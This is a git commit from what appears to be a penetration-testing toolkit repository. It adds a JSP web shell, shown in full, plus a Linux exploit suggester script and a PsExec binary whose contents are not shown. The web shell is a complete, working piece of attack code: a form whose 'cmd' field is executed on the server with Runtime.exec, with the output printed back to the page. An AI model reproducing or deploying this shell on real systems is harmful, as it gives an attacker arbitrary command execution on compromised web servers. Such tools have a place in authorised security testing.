This commit is contained in:
Roman Hergenreder 2020-10-12 19:21:41 +02:00
parent 5046360a1d
commit 6172f68da8
3 changed files with 2583 additions and 0 deletions

27
jsp-webshell.jsp Normal file

@ -0,0 +1,27 @@
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>

2556
linux-exploit-suggester.sh Normal file

File diff suppressed because it is too large Load Diff

BIN
win/PsExec64.exe Normal file

Binary file not shown.